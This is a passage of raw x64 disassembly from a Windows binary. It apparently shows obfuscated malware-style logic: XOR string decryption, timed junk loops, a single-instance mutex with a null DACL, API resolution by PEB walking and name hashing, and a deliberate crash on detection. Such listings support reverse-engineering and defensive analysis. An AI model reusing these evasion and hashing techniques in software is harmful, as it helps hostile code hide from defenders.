pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x60
jl 0x14020ce10
cmp r9d, 0x66
jge 0x14020d034
movsxd rax, r9d
lea r10, [rsp + 0x890]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x66
jl 0x14020cfe0
mov r8, r11
lea rdx, [rsp + 0x890]
lea rcx, [rsp + 0xc00]
call fcn.14021bd30
mov rcx, rax
call fcn.1401c8980
nop
lea rcx, [rsp + 0xbc0]
call fcn.140219ac0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5fc4], 0xffffffff
mov dword [rsp + 0x4c44], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x4c44], eax
inc rdx
cmp rdx, 0x270
jb 0x14020d080
mov dword [rsp + 0x4c40], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d0cf
imul rax, rax, 0x64
jmp 0x14020d0ea
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rdi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d114
imul rax, rax, 0x64
jmp 0x14020d12f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x14020d30f
mov qword [rsp + 0x68], 0x186a0
mov edi, 1
nop word [rax + rax]
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020d18b
nop dword [rax + rax]
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d170
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, edi
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020d1eb
cmp eax, 0x64
jae 0x14020d1eb
nop dword [rax]
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d1d0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020d24c
cmp eax, 0x64
jae 0x14020d24c
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d231
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14020d2be
cmp eax, 0x64
jae 0x14020d2be
nop word [rax + rax]
lea rcx, [rsp + 0x4c40]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d2a0
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x68], rdi
jne 0x14020d150
mov rdi, qword [rsp + 0x50]
jmp 0x14020d0f6
mov eax, dword [rsp + 0x40]
mov eax, dword [0x14026e9d4]
mov dword [rsp + 0x90], eax
movzx eax, byte [0x14026e9d8]
mov byte [rsp + 0x90], 0x31
xor byte [rsp + 0x91], 0x44
xor byte [rsp + 0x92], 0x46
xor byte [rsp + 0x93], 0x48
xor al, 0x4a
mov byte [rsp + 0x94], al
lea rcx, [rsp + 0x90]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14020d360
lea rcx, [0x14028f868]
cmp qword [0x14028f880], 0x10
cmovae rcx, qword [0x14028f868]
mov r8, qword [0x14028f878]
cmp r8, rax
jne 0x14020d668
lea rdx, [rsp + 0x90]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14020d668
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x7354], 0xffffffff
mov dword [rsp + 0x5fd4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5fd4], eax
inc rdx
cmp rdx, 0x270
jb 0x14020d3d0
mov dword [rsp + 0x5fd0], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d41f
imul rax, rax, 0x64
jmp 0x14020d43a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea r12, [rax + 0x5f5e100]
mov qword [rsp + 0x50], r12
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d464
imul rax, rax, 0x64
jmp 0x14020d47f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r12
jge 0x14020d658
mov r14d, 0x186a0
mov r12d, 1
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020d4db
nop dword [rax + rax]
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d4c0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020d53b
cmp eax, 0x64
jae 0x14020d53b
nop
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d520
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14020d59e
cmp eax, 0x64
jae 0x14020d59e
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d583
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edi, ebx
cmp eax, 0xc9
jae 0x14020d60b
cmp eax, 0x64
jae 0x14020d60b
nop word [rax + rax]
lea rcx, [rsp + 0x5fd0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d5f0
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv edi
mov dword [rsp + 0x40], edx
sub r14, r12
jne 0x14020d4a0
mov r12, qword [rsp + 0x50]
jmp 0x14020d446
mov eax, dword [rsp + 0x40]
mov rdi, 0xffffffffffffffff
jmp 0x1402143c3
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x86e4], 0xffffffff
mov dword [rsp + 0x7364], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x7364], eax
inc rdx
cmp rdx, 0x270
jb 0x14020d690
mov dword [rsp + 0x7360], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d6df
imul rax, rax, 0x64
jmp 0x14020d6fa
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rdi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14020d724
imul rax, rax, 0x64
jmp 0x14020d73f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x14020d91f
mov qword [rsp + 0x68], 0x186a0
mov edi, 1
nop word [rax + rax]
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020d79b
nop dword [rax + rax]
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d780
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea ebx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae ebx, eax
test ebx, ebx
cmove ebx, edi
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020d7fb
cmp eax, 0x64
jae 0x14020d7fb
nop dword [rax]
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d7e0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020d85c
cmp eax, 0x64
jae 0x14020d85c
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d841
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov r8d, ebx
cmp eax, 0xc9
jae 0x14020d8ce
cmp eax, 0x64
jae 0x14020d8ce
nop word [rax + rax]
lea rcx, [rsp + 0x7360]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020d8b0
mov r8d, ebx
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x68], rdi
jne 0x14020d760
mov rdi, qword [rsp + 0x50]
jmp 0x14020d706
mov eax, dword [rsp + 0x40]
lea rdx, [0x14028f598]
cmp qword [0x14028f5b0], 0x10
cmovae rdx, qword [0x14028f598]
mov r8, qword [0x14028f5a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402220d0
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14028f880], 0x10
lea rdx, [0x14028f868]
cmovae rdx, qword [0x14028f868]
mov r8, qword [0x14028f878]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402220d0
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14028f840], 0x10
lea rdx, [0x14028f828]
cmovae rdx, qword [0x14028f828]
mov r8, qword [0x14028f838]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402220d0
lea rdx, [0x14021bb10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xd58], 0x18
mov dword [rsp + 0xd68], esi
mov edx, 0x28
lea ecx, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edi, 1
mov edx, edi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xd60], rbx
movsd xmm0, qword [0x140271a58]
movsd qword [rsp + 0xd8], xmm0
mov eax, dword [0x140271a60]
mov dword [rsp + 0xe0], eax
movzx eax, byte [0x140271a64]
mov byte [rsp + 0xe4], al
mov r8d, esi
mov ebx, dword [0x140284008]
cmp ebx, 2
jl 0x14020dc48
movdqa xmm7, xmmword [0x1402728d0]
movd xmm8, r13d
movdqa xmm9, xmmword [0x140272910]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x140271a58]
pxor xmm3, xmm0
movd dword [rsp + 0xd8], xmm3
movdqa xmm5, xmmword [0x140272830]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xdc]
pxor xmm3, xmm1
movd dword [rsp + 0xdc], xmm3
mov r8d, 8
movsxd rax, r8d
lea r10, [rsp + 0xd8]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r9d, r8b
sub r9b, cl
add r9b, 0x21
add r9b, r9b
mov eax, 0x13e22cbd
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r9b, cl
xor byte [r10], r9b
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0xd
jl 0x14020dc60
lea r8, [0x14028f598]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0xbe0]
call fcn.14021be60
cmp qword [rax + 0x18], 0x10
jb 0x14020dcda
mov rax, qword [rax]
mov r8, rax
mov edx, 1
lea rcx, [rsp + 0xd58]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0xbe0]
call fcn.140219ac0
movsd xmm0, qword [0x14026f178]
movsd qword [rsp + 0xb8], xmm0
mov eax, dword [0x14026f180]
mov dword [rsp + 0xc0], eax
movzx eax, word [0x14026f184]
mov word [rsp + 0xc4], ax
cmp byte [0x14026f185], 0
je 0x14020df94
mov r9d, esi
cmp ebx, 2
jl 0x14020df30
movdqa xmm7, xmmword [0x1402728d0]
movd xmm8, r13d
movdqa xmm9, xmmword [0x140272910]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x14026f178]
pxor xmm3, xmm0
movd dword [rsp + 0xb8], xmm3
movdqa xmm5, xmmword [0x140272830]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xbc]
pxor xmm3, xmm1
movd dword [rsp + 0xbc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14020df40
xorps xmm0, xmm0
movups xmmword [rsp + 0x338], xmm0
mov qword [rsp + 0x348], rsi
mov qword [rsp + 0x350], rsi
lea rax, [rsp + 0xb8]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14020dfc1
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x338]
call fcn.1401d50a0
lea rcx, [rsp + 0x338]
call fcn.1401c8980
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edx, dword [rcx + r9 + 0x88]
add rdx, r9
mov qword [rsp + 0x50], rdx
cmp rdx, r9
je 0x1402145c7
mov r10d, dword [rdx + 0x18]
test r10d, r10d
je 0x1402145c7
mov edx, dword [rdx + 0x20]
mov qword [rsp + 0x68], rdx
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0xa1982a00
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1402145b9
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14020e070
cmp r8d, 0x8b669bba
jne 0x1402145b9
mov rax, qword [rsp + 0x50]
mov ecx, dword [rax + 0x1c]
add rcx, r9
mov eax, dword [rax + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x14020e0ca
mov qword [0], rsi
mov rdi, rbx
jmp 0x1402143c3
movups xmm0, xmmword [str._v_____:1x_t__]
movups xmmword [rsp + 0x4c8], xmm0
movups xmm1, xmmword [0x140270390]
movups xmmword [rsp + 0x4d8], xmm1
movups xmm0, xmmword [0x1402703a0]
movups xmmword [rsp + 0x4e8], xmm0
mov eax, dword [0x1402703b0]
mov dword [rsp + 0x4f8], eax
movzx eax, word [0x1402703b4]
mov word [rsp + 0x4fc], ax
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x14020e340
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x4cc]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm4, xmm1, 0xdd
